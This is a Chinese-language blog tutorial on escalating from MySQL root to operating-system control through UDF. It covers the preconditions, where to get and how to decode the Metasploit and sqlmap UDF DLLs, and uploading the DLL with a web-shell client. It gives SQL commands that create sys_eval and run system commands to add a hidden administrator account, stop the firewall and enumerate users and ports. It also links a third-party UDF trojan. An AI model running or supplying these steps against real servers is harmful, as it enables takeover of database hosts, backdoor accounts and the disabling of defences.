Mysql提权方法总结系列-UDF提权

0x01 简介

        UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。UDF官方介绍以及其函数定义请参考链接。

0x01 

当获取到mysql的root权限,需要进行权限提升,可以尝试使用udf提权。

1、条件判断

① 有导入导出功能

SHOW VARIABLES LIKE "secure_file_priv";
  • secure_file_priv的value为null ,不允许导入导出,则无法使用udf提权。
  • secure_file_priv的value为/dir/ ,只允许dir目录下导入导出。
  • secure_file_priv的value为空,无限制。

② 有上传目录

根据mysql数据库的版本确定上传的脚本目录:
1.mysql<5.1,导出目录c:/windows或system32
2.mysql=>5.1,导出mysql/lib/plugin/的绝对路径(如C:/phpstudy/mysql/lib/plugin/)如果没有需要创建


③ 账号具有insert和delete权限 (以root账号为佳)

0x02 上传udf脚本

1、查看系统,如果是win32,则对应udf_32.dll,linux是.so

show variables like "%compile%";

2、选择udf文件,建议使用msf目录下的udf

1、/usr/share/metasploit-framework/data/exploits/mysql

2、sqlmap的/sqlmap/udf/mysql  (我试了下sqlmap的udf文件根本没用)
    sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中,在sqlmap/extra/cloak目录下的cloak.py就是。
    python cloak.py -d -i E:\Python27\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
    python cloak.py -d -i E:\Python27\sqlmap\udf\mysql\windows\64\lib_mysqludf_sys.dll_

3、网上下载:https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql

3、利用中国蚁剑先在靶机C:\phpStudy\PHPTutorial\MySQL\lib目录下创建plugin文件夹,再将32位的lib_mysqludf_sys.dll文件上传到plugin目录下。

0x03 提权步骤

1. 本机连接win7的mysql

        不知为何中国蚁剑和菜刀连接不上mysql,只能在本地dos命令框中连接了,本地的navicat也能连接。

2. 用到的语句

select name from mysql.func  #查看创建函数
select sys_eval('cmd','whoami') 
create function sys_eval returns string soname 'lib_mysqludf_sys.dll'  #创建函数
select sys_eval('net user zth 123456 /add & net localgroup administrators zth /add')   #创建用户zth密码123456并添加超级管理员
select sys_eval('net user') #查看用户
select sys_eval('netstat -an') #查看端口
select sys_eval('net stop sharedacess')  #停止防火墙
delete from mysql.func where name='sys_eval'  #删除函数
select sys_eval('netstat -an') into outfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\test.txt'; #保存结果到test.txt文件中

注意:需要创建lib_mysqludf_sys.dll中存在的函数才可以,可以用十六进制编辑器打开lib_mysqludf_sys.dll。

3. 执行提权语句

后续大家都知道啦,简单示例下:
> select sys_exec('net user test 123456 /add & net localgroup administrators test /add);
亦或:
> select sys_eval('net user test 123456 /add & net localgroup administrators test /add);

0x04 其他

        sqlmap里的udf(windows下)和解码后的udf文件,以及暗月大佬的UDF木马链接:
链接:百度网盘 请输入提取码
提取码:w9bp

参考:

Python成神之路 - (提权)mysql提权–udf、mof、启动项

UDF提权_yumengzth的博客-CSDN博客_udf提权条件

你可能感兴趣的:(提权专题,mysql,数据库,database)